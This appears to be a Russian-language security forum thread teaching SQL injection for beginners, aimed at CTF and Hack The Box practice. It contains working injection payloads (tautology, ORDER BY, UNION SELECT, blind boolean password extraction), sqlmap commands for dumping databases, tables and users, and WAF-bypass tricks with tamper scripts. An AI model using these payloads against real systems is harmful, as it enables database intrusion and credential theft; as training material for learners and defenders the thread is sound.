SQLi для начинающих — от теории к практике

admin · 11.06.2026 в 11:45 · 10 просмотров · 4 ответов

SQL-инъекции — одна из старейших и до сих пор актуальных уязвимостей. Разберём базу.

Типы SQLi:
- Classic — результат сразу в ответе
- Blind Boolean — ответ меняется в зависимости от условия (true/false)
- Blind Time-based — измеряем задержку ответа
- Error-based — ошибка базы раскрывает данные
- Out-of-band — данные уходят по DNS/HTTP

Простейший тест:

' OR '1'='1
' OR 1=1--
" OR "1"="1

Определение числа колонок через ORDER BY:

' ORDER BY 1--   -- нет ошибки
' ORDER BY 2--   -- нет ошибки
' ORDER BY 3--   -- ошибка -> 2 колонки

UNION-атака:

' UNION SELECT null, version()--
' UNION SELECT null, table_name FROM information_schema.tables--

Для автоматизации — sqlmap, но важно понимать ручной процесс.

Отличный обзор! Хочу добавить про Blind Boolean — это когда в ответе нет видимых данных, но можно задавать вопросы типа да/нет.

Пример — определяем первый символ пароля:

' AND SUBSTRING(password,1,1)='a'--

Если страница одинакова с true-условием — значит первый символ a. Перебираем по одному. Медленно, но работает.

Для ускорения можно бинарный поиск по ASCII-коду:

' AND ASCII(SUBSTRING(password,1,1))>64--

Про sqlmap — полезные флаги для CTF:

sqlmap -u "http://target/page?id=1" --dbs
sqlmap -u "http://target/page?id=1" -D dbname --tables
sqlmap -u "http://target/page?id=1" -D dbname -T users --dump

# Для POST-запросов:
sqlmap -u "http://target/login" --data="user=admin&pass=test" -p user

# С куками:
sqlmap -u "http://target/" --cookie="session=abc123"

Флаг --level=5 --risk=3 — агрессивный режим, если обычные пейлоады не работают.

Спасибо за флаги sqlmap! А есть смысл учить WAF bypass? На HTB часто встречаю фильтрацию пробелов и ключевых слов.

WAF bypass — отдельная тема, но базовые трюки:

  • Пробелы: /**/, %09 (tab), %0a (newline)
  • Регистр: SeLeCt, uNiOn
  • Комментарии внутри слов: UN/**/ION
  • URL-кодирование: %53ELECT = SELECT

Для HTB машин обычно достаточно --tamper=space2comment в sqlmap.

Более продвинутый уровень — --tamper=charencode,randomcase,space2comment.

Войдите, чтобы ответить